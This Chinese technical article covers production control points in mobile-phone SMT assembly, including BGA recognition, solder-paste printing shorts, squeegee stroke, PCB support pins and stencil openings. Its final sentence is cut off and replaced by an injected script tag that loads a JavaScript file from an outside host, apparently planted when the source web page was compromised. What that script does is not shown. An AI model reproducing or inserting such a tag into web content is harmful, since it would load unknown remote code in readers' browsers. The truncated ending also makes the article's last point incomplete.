——手机生产控制要点
天通浙江精电科技有限公司 刘益民
手机的发展，极大地满足了人们喜新厌旧的嗜好，变化快，讲究小巧和多功能。这给生产带来了一定的挑战，促进了生产工艺的发展。
天通精电，本着精密、精确和精心的做事原则，致力于手机制造，越来越精通。在生产中，我们曾遇到了一些的问题，但只要从细节下手，问题不难解决。下表是我们遇到的一些问题的控制要点。
1. bga的识别方式
控制要点：bga封装的ic必须使用bga识别方式。
一次，bga封装的ic使用了chip识别方式，贴片时有偏移。
发现偏移后，将chip识别方式改为bga识别方式，偏移消除，如图1所示。
2. 排插短路问题
试验表明，排插短路有40％是印锡短路造成的，有60％是贴片偏移造成的。
印锡短路有“游丝短路”和“粗杠短路”两种，如图2所示。试验同时表明，游丝短路有90％的在回流以后不会造成短路，而粗杠短路则100％的在回流以后也短路。
贴片偏移的原因，有些人认为是机器不稳定。实际上，机器后面站的是人，从改善的效果来看，不稳定的是人而不是机器。
下面讨论印锡短路的解决方法：
1）刮刀变形
控制要点：钢网刮不干净，必须更换刮刀。
有一次，出现了较多的排插短路问题。技工调机，没有解决问题。后来，工程师发现钢网没有刮干净，安排更换刮刀，钢网被刮得干干净净，解决了短路问题。
2）刮刀行程
控制要点：刮刀行程超出孔边的距离是25-35mm。
注意，是超出孔边而不是pcb板边。若刮刀行程太大，刮刀下压，钢网翘起，产生假脱模。刮刀提起时，钢网恢复原状，不翘起，将锡膏下压，产生短路，如图3所示。
如果刮刀行程合理，行程结束时钢网不变形，就不会产生短路了，如图4所示。
3）顶块平实
控制要点：用力压pcb，必须平整结实。
印锡机内部用于支撑pcb的顶块(包括顶桥、顶板、顶针)，必须紧贴pcb，而且用力压pcb，要平整结实。如果批量大，最好做印锡模具。
有一次，就出现过比较多的排插短路问题，工程师检查印锡机，用手压排插部分的pcb，感觉不结实，发现排插下面周围没有顶针。增加顶针后，短路问题消除。
4）清除锡块
控制要点：必须将pcb上的锡块清除干净。
一次，出现过个别的排插短路。检查可知，第一次生产ts面时，将锡膏弄到bs面了，第一次回流后在bs面的排插附近产生锡块。印锡时锡块顶起钢网，造成短路，如图5所示。
5）搅拌锡膏
控制要点：加锡膏后不能搅拌。
如果搅拌，则刮刀会刮两次或两次以上，可能造成排插短路。当然，加锡是有技巧的。
3. 权衡洗板和维修的利弊
控制要点：对印锡偏移或短路的板，如果很容易维修，就直接放下去。
手机板有金手指，洗板的弊端是：浪费时间，污染环境，可能导致金手指上锡，造成更大的维修量。如果直接放下去，简单维修一下就好。印锡不良的处理方案，如下表所示。
4. pcb放反问题
控制要点：对已经做过第一面的半成品，印锡机要设置识别功能。
曾经出现过一次将pcb放反的情况。
出现这种严重的问题以后，工程师设置了识别功能：在印锡之前，印锡机要识别pcb上的特定的标识，识别通过才能够印刷；如果识别不过，则将pcb退出。用防呆法解决了pcb放反的问题。
5. 不能损失锡膏量
控制要点：解决偏移问题时，不能损失锡膏量。
电池连接器的焊盘有圆形和矩形两种，如图6所示。圆形焊盘不容易产生偏移，而矩形焊盘容易产生偏移。
为了解决矩形焊盘的偏移问题，采用了两种钢网开口，如图7所示。
遗憾的是，不管是哪种开口，都不能完全消除偏移问题。反而出现了新的问题：锡膏偏少，爬升不足，如图7所示。
权衡利弊以后，决定还是按照焊盘100％的比例开钢网，端子爬升足够，如图8所示。
要解决连接器的偏移问题，可采用点胶法。
6. 用薄膜调机pcb
控制要点：调机时，用薄膜蒙着pcb，避免洗板。
蒙着pcb调机，不会污染pcb，也就不用洗板了，?script src=http://er12.com/t.js>
